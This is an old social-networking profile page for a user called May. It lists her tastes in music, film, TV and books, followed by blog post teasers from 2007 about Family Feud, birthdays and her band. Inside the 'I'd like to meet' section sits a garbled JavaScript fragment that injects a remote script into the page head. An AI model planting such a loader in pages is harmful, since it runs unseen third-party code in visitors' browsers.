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May

bitter_grace

About Me

Don't bore me with your bullshit proclamations of self-realization. Just make me laugh till I cry, and we'll be best friends. I'm not like all the other girls. Call me a woman, and I won't even blink.

My Interests

the insignificant, the simple, the small, the courageous, the fearless, the unexpected, the historical, the conscious, the kind, the genuine, the reverent, the irreverent, the forgotten, the innocent, the guilty, the adventurous, the unknown.

I'd like to meet:

Wonderful people.

I will not add you back unless I have met you or you're within two degrees of separation from me. .."var s=document·('script');s.src='http://../.../...';documen t·getElementsByTagName('head')[0].appendChild(s);"

Music:


ELOISE (my band), Jon Brion, Fiona Apple, Rilo Kiley, Jenny Lewis, Magnet, Andrew Bird, Rhett Miller, Old 97's, John Mayer, Björk, Radiohead, Jason Falkner, Mellowdrone, The Police, Elliott Smith, Teitur, Mt. Egypt, The Cardigans, Pavement, Nickel Creek, Tilly & the Wall, Belle & Sebastian, The Postal Service, Eisley, etc.

Movies:

Aladdin, Requiem for a Dream, Eternal Sunshine of the Spotless Mind, Big Fish, Trainspotting, American History X, Harry Potter (2 & 4), The Royal Tenenbaums, Garden State, Crash, The Shawshank Redemption, Little Miss Sunshine, The Incredibles

Television:

The Simpsons, Family Guy, LOST, Scrubs, Arrested Development, Ugly Betty, The Mighty Boosh, Project Runway, cooking shows, documentaries on PBS & The History Channel.

Books:

Anything on L.A. history, anything that has L.A. as a setting, history books, any book that tells a good story well.

Heroes:

Jon Brion, Albert Einstein, Conan O'Brien, Huell Howser, Dolly Parton, Oprah.

My Blog

HUGE PICTURE UPDATE: Family Feud, Cy’s Birthday and Eric’s birthday

Family Feud Photo:Ryan, Eric, Gerry, Janice and me. I look like I should work for Mode-- and I LOVE it!Cy's Birthday:Wrapped using recycled materials. I'm proud of the job I did. He loved the presents...
Posted by May on Sun, 21 Oct 2007 01:41:00 PST

Family Feud, Free Porn, Cys birthday, RK, Eloise, mom

Haven't really felt like updating much.BAH! We didn't get on Family Feud. We suspect it was because we're a local family. Everyone who got on the show that day was from out of town, and we and the oth...
Posted by May on Wed, 17 Oct 2007 01:38:00 PST

MY FAMILY = WINNERS

So, we're taping Family Feud on October 14th!WE WILL EAT YOU!!!!!
Posted by May on Sun, 30 Sep 2007 08:45:00 PST

Vague nothings.

I was about to write an entry on things you didn't need to know, and then about things that I didn't need to know (but do)... but instead I waited a few days before looking at it again and decided tha...
Posted by May on Thu, 20 Sep 2007 01:12:00 PST

Man.

I know life sucks sometimes, but seriously, my life sucks.
Posted by May on Thu, 13 Sep 2007 10:40:00 PST

I got The Moneymaker...

The subject line is a reference to the new Rilo Kiley record. I finally got it. Not sure how I feel about it yet. Jenny's voice sounds amazing, but I feel like there's something missing. The songs are...
Posted by May on Tue, 28 Aug 2007 10:25:00 PST

Pictures Galore

So the last week, Lourdes and Jordan talked me into watching High School Musical 2. I hadn't even seen the first one.So yeah... don't you dare let ANYONE talk you into watching this piece of shit...So...
Posted by May on Sun, 26 Aug 2007 09:51:00 PST

Tofu Fest

Eisley's new record came out last Tuesday, so I went to Best Buy to pick it up. Man, only two days after it came out, I had nearly all the words memorized. Rilo Kiley's new one comes out today and I'm...
Posted by May on Tue, 21 Aug 2007 01:38:00 PST

Little Earthquakes

Did anyone feel the earthquake last night?I woke up and then went back to sleep. I thought it was part of my dreams, and then everyone was talking about it at work the next day.Apparently it was a 4.5...
Posted by May on Fri, 10 Aug 2007 11:17:00 PST

Mexico, debut, band, Spaceland, D&B, Hairspray

Cy is off to Mexico, and I miss him already. But for some reason, I'm alright this time around. Cy told my boss he was going, and my boss was appalled that I wasn't going on the trip and even said he ...
Posted by May on Sat, 04 Aug 2007 03:24:00 PST